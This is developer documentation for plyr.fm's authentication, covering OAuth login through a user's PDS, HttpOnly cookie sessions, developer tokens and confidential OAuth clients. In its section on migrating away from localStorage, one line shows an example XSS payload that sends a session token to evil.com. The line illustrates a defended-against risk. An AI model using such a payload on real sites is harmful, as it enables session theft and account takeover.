1# authentication 2 3plyr.fm uses secure cookie-based authentication to protect user sessions from XSS attacks. 4 5## overview 6 7**flow**: 81. user initiates OAuth login via `/auth/start?handle={handle}` 92. backend redirects to user's PDS for authorization 103. PDS redirects back to `/auth/callback` with authorization code 114. backend exchanges code for OAuth tokens, creates session 125. backend creates one-time exchange token, redirects to frontend 136. frontend calls `/auth/exchange` with exchange token 147. backend sets HttpOnly cookie and returns session_id 158. all subsequent requests automatically include cookie 16 17```mermaid 18sequenceDiagram 19 autonumber 20 participant U as User Browser 21 participant FE as Frontend (Svelte) 22 participant API as Backend API 23 participant PDS as User PDS 24 participant DB as Session DB 25 26 U->>FE: Visit /portal (unauthenticated) 27 FE->>API: GET /auth/start?handle=handle 28 API-->>U: 307 redirect to PDS authorize 29 U->>PDS: Approve OAuth request 30 PDS-->>API: /auth/callback (code, state, iss) 31 API->>PDS: POST /oauth/token 32 API->>DB: INSERT session (encrypted tokens) 33 API-->>U: 303 redirect /portal?exchange_token=… 34 FE->>API: POST /auth/exchange {exchange_token} 35 API->>DB: UPDATE exchange token (mark used) 36 API-->>FE: Set-Cookie session_id=… (HttpOnly) 37 FE->>API: Subsequent fetches w/ credentials: include 38 API->>DB: SELECT session via cookie 39 API-->>FE: JSON response (tracks, likes, uploads…) 40``` 41 42**key security properties**: 43- session tokens stored in HttpOnly cookies (not accessible to JavaScript) 44- cookies use `Secure` flag (HTTPS only in production) 45- cookies use `SameSite=Lax` (CSRF protection) 46- no explicit domain set (prevents cross-environment leakage) 47- frontend never touches session_id in localStorage or JavaScript 48 49## backend implementation 50 51### setting cookies 52 53cookies are set in `/auth/exchange` after validating the one-time exchange token: 54 55```python 56# src/backend/api/auth.py 57if is_browser and settings.frontend.url: 58 is_localhost = settings.frontend.url.startswith("http://localhost") 59 60 response.set_cookie( 61 key="session_id", 62 value=session_id, 63 httponly=True, 64 secure=not is_localhost, # secure cookies require HTTPS 65 samesite="lax", 66 max_age=14 * 24 * 60 * 60, # 14 days 67 ) 68``` 69 70**environment behavior**: 71- **localhost**: `secure=False` (HTTP development) 72- **staging/production**: `secure=True` (HTTPS required) 73- **no domain parameter**: cookies scoped to exact host (prevents staging→production leakage) 74 75### reading cookies 76 77auth dependencies check cookies first, fall back to Authorization header: 78 79```python 80# src/backend/_internal/auth.py 81async def require_auth( 82 authorization: Annotated[str | None, Header()] = None, 83 session_id: Annotated[str | None, Cookie(alias="session_id")] = None, 84) -> Session: 85 """require authentication with cookie (browser) or header (SDK/CLI) support.""" 86 session_id_value = None 87 88 if session_id: # check cookie first 89 session_id_value = session_id 90 elif authorization and authorization.startswith("Bearer "): 91 session_id_value = authorization.removeprefix("Bearer ") 92 93 if not session_id_value: 94 raise HTTPException(status_code=401, detail="not authenticated") 95 96 session = await get_session(session_id_value) 97 if not session: 98 raise HTTPException(status_code=401, detail="invalid or expired session") 99 100 return session 101``` 102 103**parameter aliasing**: `Cookie(alias="session_id")` tells FastAPI to look for a cookie named `session_id` (not the parameter name). 104 105### optional auth endpoints 106 107endpoints that show different data for authenticated vs anonymous users: 108 109```python 110# src/backend/api/tracks.py 111@router.get("/") 112async def list_tracks( 113 db: Annotated[AsyncSession, Depends(get_db)], 114 request: Request, 115 session_id_cookie: Annotated[str | None, Cookie(alias="session_id")] = None, 116) -> dict: 117 # check cookie or header 118 session_id = ( 119 session_id_cookie 120 or request.headers.get("authorization", "").replace("Bearer ", "") 121 ) 122 123 # optional auth logic 124 if session_id and (auth_session := await get_session(session_id)): 125 # fetch liked tracks for authenticated user 126 liked_track_ids = set(...) 127``` 128 129**examples**: 130- `/tracks/` - shows liked state if authenticated 131- `/tracks/{track_id}` - shows liked state if authenticated 132- `/albums/{handle}/{slug}` - shows liked state for album tracks if authenticated 133 134## frontend implementation 135 136### sending cookies 137 138all requests include `credentials: 'include'` to send cookies: 139 140```typescript 141// frontend/src/lib/auth.svelte.ts 142const response = await fetch(`${API_URL}/auth/me`, { 143 credentials: 'include' // send cookies 144}); 145``` 146 147```typescript 148// frontend/src/lib/uploader.svelte.ts (XMLHttpRequest) 149const xhr = new XMLHttpRequest(); 150xhr.open('POST', `${API_URL}/tracks/`); 151xhr.withCredentials = true; // send cookies 152``` 153 154### no localStorage 155 156the frontend **never** reads or writes `session_id` to localStorage: 157 158```typescript 159// ❌ OLD (vulnerable to XSS) 160localStorage.setItem('session_id', sessionId); 161const sessionId = localStorage.getItem('session_id'); 162headers['Authorization'] = `Bearer ${sessionId}`; 163 164// ✅ NEW (secure) 165// cookies automatically sent with credentials: 'include' 166// no manual session management needed 167``` 168 169### auth state management 170 171auth state is checked via `/auth/me`: 172 173```typescript 174// frontend/src/lib/auth.svelte.ts 175async initialize() { 176 try { 177 const response = await fetch(`${API_URL}/auth/me`, { 178 credentials: 'include' 179 }); 180 181 if (response.ok) { 182 const data = await response.json(); 183 this.user = { did: data.did, handle: data.handle }; 184 this.isAuthenticated = true; 185 } 186 } catch (error) { 187 this.isAuthenticated = false; 188 } 189} 190``` 191 192## environment architecture 193 194all environments use custom domains on the same eTLD+1 (`.plyr.fm`) to enable cookie sharing between frontend and backend within each environment: 195 196### staging 197- **frontend**: `stg.plyr.fm` (cloudflare pages project: `plyr-fm-stg`) 198- **backend**: `api-stg.plyr.fm` (fly.io app: `relay-api-staging`) 199- **cookie domain**: implicit (scoped to `api-stg.plyr.fm`) 200- **CORS**: backend allows `https://stg.plyr.fm` 201 202### production 203- **frontend**: `plyr.fm` (cloudflare pages project: `plyr-fm`) 204- **backend**: `api.plyr.fm` (fly.io app: `relay-api`) 205- **cookie domain**: implicit (scoped to `api.plyr.fm`) 206- **CORS**: backend allows `https://plyr.fm` and `https://www.plyr.fm` 207 208### local development 209- **frontend**: `localhost:5173` (bun dev server) 210- **backend**: `localhost:8001` (uvicorn) 211- **cookie domain**: implicit (scoped to `localhost`) 212- **CORS**: backend allows `http://localhost:5173` 213 214**why no explicit domain?** 215 216omitting the `domain` parameter prevents cookies from being shared across environments: 217- staging cookie (`api-stg.plyr.fm`) **not** sent to production (`api.plyr.fm`) 218- production cookie (`api.plyr.fm`) **not** sent to staging (`api-stg.plyr.fm`) 219 220if we set `domain=".plyr.fm"`, cookies would be shared across **all** subdomains, causing session leakage between environments. 221 222## why SameSite=Lax? 223 224`SameSite=Lax` provides CSRF protection while allowing same-site requests: 225 226- **allows**: navigation from `stg.plyr.fm``api-stg.plyr.fm` (same eTLD+1) 227- **allows**: fetch with `credentials: 'include'` from same origin 228- **blocks**: cross-site POST requests (CSRF protection) 229- **blocks**: cookies from being sent to completely different domains 230 231**alternative: SameSite=None** 232- required for cross-site cookies (e.g., embedding widgets from external domains) 233- not needed for plyr.fm since frontend and backend are same-site 234- less secure (allows cross-site requests) 235 236## why HttpOnly? 237 238`HttpOnly` cookies cannot be accessed by JavaScript: 239 240```javascript 241// ❌ cannot read HttpOnly cookies 242console.log(document.cookie); // session_id not visible 243 244// ✅ cookies still sent automatically 245fetch('/auth/me', { credentials: 'include' }); 246``` 247 248**protects against**: 249- XSS attacks stealing session tokens 250- malicious scripts exfiltrating credentials 251- account takeover via stolen sessions 252 253**does NOT protect against**: 254- CSRF (use SameSite for that) 255- man-in-the-middle attacks (use Secure flag + HTTPS) 256- session fixation (use secure random session IDs) 257 258## migration from localStorage 259 260issue #237 tracked the migration from localStorage to cookies. 261 262**old flow** (vulnerable): 2631. `/auth/exchange` returns `{ session_id: "..." }` 2642. frontend stores in localStorage: `localStorage.setItem('session_id', sessionId)` 2653. every request: `headers['Authorization'] = Bearer ${localStorage.getItem('session_id')}` 2664. ❌ any XSS payload can steal: `fetch('https://evil.com?token=' + localStorage.getItem('session_id'))` 267 268**new flow** (secure): 2691. `/auth/exchange` sets HttpOnly cookie AND returns `{ session_id: "..." }` 2702. frontend does nothing with session_id (only for SDK/CLI clients) 2713. every request: `credentials: 'include'` sends cookie automatically 2724. ✅ JavaScript cannot access session_id 273 274**backwards compatibility**: 275- backend still returns `session_id` in response body for non-browser clients 276- backend accepts both cookies and Authorization headers 277- SDK/CLI clients unaffected (continue using headers) 278 279## security checklist 280 281authentication implementation checklist: 282 283- [x] cookies use `HttpOnly` flag 284- [x] cookies use `Secure` flag in production 285- [x] cookies use `SameSite=Lax` or `SameSite=Strict` 286- [x] no explicit `domain` set (prevents cross-environment leakage) 287- [x] frontend sends `credentials: 'include'` on all requests 288- [x] frontend never reads/writes session_id to localStorage 289- [x] backend checks cookies before Authorization header 290- [x] CORS configured per environment (only allow same-origin) 291- [x] session tokens are cryptographically random 292- [x] sessions expire after reasonable time (14 days) 293- [x] logout properly deletes cookies 294 295## testing 296 297### manual testing 298 299**test cookie is set**: 3001. log in at https://stg.plyr.fm 3012. open DevTools → Application → Cookies → `https://api-stg.plyr.fm` 3023. verify `session_id` cookie exists with: 303 - HttpOnly: ✓ 304 - Secure: ✓ 305 - SameSite: Lax 306 - Path: / 307 - Domain: api-stg.plyr.fm (no leading dot) 308 309**test cookie is sent**: 3101. stay logged in 3112. open DevTools → Network tab 3123. navigate to `/portal` or any authenticated page 3134. inspect request to `/auth/me` 3145. verify `Cookie: session_id=...` header is present 315 316**test cross-environment isolation**: 3171. log in to staging at https://stg.plyr.fm 3182. open https://plyr.fm (production) 3193. verify you are NOT logged in (staging cookie not sent to production) 320 321## troubleshooting 322 323### cookies not being set 324 325**symptom**: `/auth/exchange` returns 200 but no cookie in DevTools 326 327**check**: 3281. is `FRONTEND_URL` environment variable set? 329 ```bash 330 flyctl ssh console -a relay-api-staging 331 echo $FRONTEND_URL 332 ``` 3332. is request from a browser (user-agent header)? 3343. is response using HTTPS in production (Secure flag requires it)? 335 336### cookies not being sent 337 338**symptom**: `/auth/me` returns 401 even after login 339 340**check**: 3411. frontend using `credentials: 'include'`? 3422. CORS allowing credentials? 343 ```python 344 # backend MUST allow credentials 345 allow_credentials=True 346 ``` 3473. origin matches CORS regex? 3484. SameSite policy blocking request? 349 350### localhost cookies not working 351 352**symptom**: cookies work in staging/production but not localhost 353 354**check**: 3551. is `FRONTEND_URL=http://localhost:5173` set locally? 3562. frontend and backend both on `localhost` (not `127.0.0.1`)? 3573. backend using `secure=False` for localhost? 358 359## developer tokens (programmatic access) 360 361for scripts, CLIs, and automated workflows, create a long-lived developer token: 362 363### creating a token 364 365**via UI (recommended)**: 3661. go to portal → "your data" → "developer tokens" section 3672. optionally enter a name (e.g., "upload-script", "ci-pipeline") 3683. select expiration (30/90/180/365 days or never) 3694. click "create token" 3705. **authorize at your PDS** (you'll be redirected to approve the OAuth grant) 3716. copy the token immediately after redirect (shown only once) 372 373**via API**: 374```javascript 375// step 1: start OAuth flow (returns auth_url to redirect to) 376const response = await fetch('/auth/developer-token/start', { 377 method: 'POST', 378 headers: {'Content-Type': 'application/json'}, 379 credentials: 'include', 380 body: JSON.stringify({ name: 'my-script', expires_in_days: 90 }) 381}); 382const { auth_url } = await response.json(); 383// step 2: redirect user to auth_url to authorize at their PDS 384// step 3: on callback, token is returned via exchange flow 385``` 386 387### managing tokens 388 389**list active tokens**: 390the portal shows all your active developer tokens with: 391- token name (or auto-generated identifier) 392- creation date 393- expiration date 394 395**revoke a token**: 3961. go to portal → "your data" → "developer tokens" 3972. find the token in the list 3983. click "revoke" to immediately invalidate it 399 400**via API**: 401```bash 402# list tokens 403curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens 404 405# revoke by prefix (first 8 chars shown in list) 406curl -X DELETE -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens/abc12345 407``` 408 409### using tokens 410 411set the token in your environment: 412```bash 413export PLYR_TOKEN="your_token_here" 414``` 415 416use with any authenticated endpoint: 417```bash 418# check auth 419curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/me 420``` 421 422**CLI usage** (`scripts/plyr.py`): 423```bash 424# list your tracks 425PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py list 426 427# upload a track 428PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py upload track.mp3 "My Track" 429 430# download a track 431PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py download 42 -o my-track.mp3 432 433# delete a track 434PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py delete 42 -y 435``` 436 437### configuration 438 439backend settings in `AuthSettings`: 440- `developer_token_default_days`: default expiration (90 days) 441- `developer_token_max_days`: max allowed expiration (365 days) 442- use `expires_in_days: 0` to request the maximum allowed by refresh lifetime 443 444### how it works 445 446developer tokens are sessions with their own independent OAuth grant. when you create a dev token, you go through a full OAuth authorization flow at your PDS, which gives the token its own access/refresh credentials. this means: 447- dev tokens can refresh independently (no staleness when browser session refreshes) 448- each token has its own DPoP keypair for request signing 449- logging out of browser doesn't affect dev tokens (cookie isolation) 450- revoking browser session doesn't affect dev tokens 451 452dev tokens can: 453- read your data (tracks, likes, profile) 454- upload tracks (creates ATProto records on your PDS) 455- perform any authenticated action 456 457**security notes**: 458- tokens have full account access - treat like passwords 459- revoke individual tokens via the portal or API 460- each token is independent - revoking one doesn't affect others 461- token names help identify which token is used where 462- tokens require explicit OAuth consent at your PDS 463 464## OAuth client types: public vs confidential 465 466ATProto OAuth distinguishes between two types of clients based on their ability to authenticate themselves to the authorization server. 467 468### what is a confidential client? 469 470a **confidential client** is an OAuth client that can prove its identity to the authorization server using cryptographic keys. the term "confidential" means the client can keep a secret - specifically, an ES256 private key that never leaves the server. 471 472**public client** (default): 473- cannot authenticate itself (uses `token_endpoint_auth_method: "none"`) 474- anyone could impersonate your client_id 475- authorization server issues **2-week refresh tokens** 476 477**confidential client** (with `OAUTH_JWK`): 478- authenticates using `private_key_jwt` - signs a JWT with its private key 479- authorization server verifies signature against your `/.well-known/jwks.json` 480- proves the request actually came from your server 481- authorization server issues **180-day refresh tokens** 482 483### why this matters for plyr.fm 484 485with public clients, the underlying ATProto refresh token expires after 2 weeks regardless of what we store in our database. users would need to re-authenticate with their PDS every 2 weeks. 486 487with confidential clients: 488- **developer tokens work long-term** - not limited to 2 weeks 489- **users don't get randomly kicked out** after 2 weeks of inactivity 490- **sessions last up to refresh lifetime** as long as tokens are refreshed within 180 days 491 492### how it works 493 4941. **key generation**: generate an ES256 (P-256) keypair 495 ```bash 496 uv run python scripts/gen_oauth_jwk.py 497 ``` 498 4992. **configuration**: set `OAUTH_JWK` env var with the private key JSON 500 5013. **JWKS endpoint**: backend serves public key at `/.well-known/jwks.json` 502 - authorization server fetches this to verify our signatures 503 5044. **client metadata**: `/oauth-client-metadata.json` advertises: 505 ```json 506 { 507 "token_endpoint_auth_method": "private_key_jwt", 508 "token_endpoint_auth_signing_alg": "ES256", 509 "jwks_uri": "https://plyr.fm/.well-known/jwks.json" 510 } 511 ``` 512 5135. **token requests**: on every token request (initial AND refresh), the library: 514 - creates a short-lived JWT (`client_assertion`) signed with our private key 515 - includes `client_assertion_type` and `client_assertion` in the request 516 - PDS verifies signature → issues long-lived tokens 517 518### implementation details 519 520the confidential client support lives in our `atproto` fork (`zzstoatzz/atproto`): 521 522```python 523# packages/atproto_oauth/client.py 524client = OAuthClient( 525 client_id='https://plyr.fm/oauth-client-metadata.json', 526 redirect_uri='https://plyr.fm/auth/callback', 527 scope='atproto ...', 528 state_store=state_store, 529 session_store=session_store, 530 client_secret_key=ec_private_key, # enables confidential client 531) 532``` 533 534when `client_secret_key` is set, `_make_token_request()` automatically adds client assertions to all token endpoint calls (initial exchange, refresh, revoke). 535 536### key rotation 537 538for key rotation: 5391. generate new key with different `kid` (key ID) 5402. add both keys to JWKS (old and new) 5413. deploy - new tokens use new key, old tokens still verify 5424. after 180 days, remove old key from JWKS 543 544### token refresh mechanism 545 546plyr.fm automatically refreshes ATProto tokens when they expire. here's how it works: 547 5481. **trigger**: user makes a PDS request (upload, create record, etc.) 5492. **detection**: PDS returns `401 Unauthorized` with `"exp"` in error message (access token expired) 5503. **refresh**: `_refresh_session_tokens()` in `_internal/atproto/client.py`: 551 - acquires per-session lock (prevents race conditions) 552 - calls `OAuthClient.refresh_session()` with the refresh token 553 - for confidential clients: signs a client assertion JWT 554 - PDS verifies assertion → issues new tokens 555 - saves new tokens to database 5564. **retry**: original request retries with fresh tokens 557 558**what gets refreshed**: 559- **access token**: short-lived (~minutes), refreshed frequently 560- **refresh token**: long-lived (2 weeks public, 180 days confidential), rotated on each use 561 562**observability**: look for these log messages in logfire: 563- `"access token expired for did:plc:..., attempting refresh"` 564- `"refreshing access token for did:plc:..."` 565- `"successfully refreshed access token for did:plc:..."` 566 567### migration: deploying confidential client 568 569when deploying confidential client support, **existing sessions continue to work** but have limitations: 570 571| aspect | existing sessions | new sessions (post-deploy) | 572|--------|-------------------|---------------------------| 573| plyr.fm session | unchanged | unchanged | 574| ATProto refresh token | 2-week lifetime (public client) | 180-day lifetime (confidential) | 575| behavior at 2 weeks | refresh fails → re-auth needed | continues working | 576 577**what happens to existing tokens**: 5781. existing sessions were created as "public client" - the PDS issued 2-week refresh tokens 5792. those refresh tokens cannot be upgraded - they have a fixed expiration 5803. when the refresh token expires, the next PDS request will fail 5814. users will need to re-authenticate to get new sessions with 180-day refresh tokens 582 583**timeline example**: 584- dec 8: user creates dev token (public client, 2-week refresh) 585- dec 22: ATProto refresh token expires 586- user tries to upload → refresh fails → 401 error 587- user creates new dev token → now gets 180-day refresh 588 589**production impact** (as of deployment): 590- most browser sessions expire within 14 days anyway (cookie `max_age`) 591- developer tokens are affected most - they have 90+ day session expiry but 2-week refresh 592- only 3 long-lived dev tokens in production (internal accounts) 593- new sessions will automatically get 180-day refresh tokens 594 595### sources 596 597- [ATProto OAuth spec - tokens and session lifetime](https://atproto.com/specs/oauth#tokens-and-session-lifetime) 598- [RFC 7523 - JWT Bearer Client Authentication](https://datatracker.ietf.org/doc/html/rfc7523) 599- [bailey's ATProto SvelteKit template](https://tangled.org/baileytownsend.dev/atproto-sveltekit-template) - TypeScript reference implementation 600- PR #578: confidential OAuth client support 601 602## references 603 604- [MDN: HttpOnly cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security) 605- [MDN: SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value) 606- [OWASP: Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) 607- [ATProto OAuth spec](https://atproto.com/specs/oauth) 608- issue #237: secure browser auth storage 609- PR #239: frontend localStorage removal 610- PR #243: backend cookie implementation 611- PR #244: merged cookie-based auth 612- PR #367: developer tokens with independent OAuth grants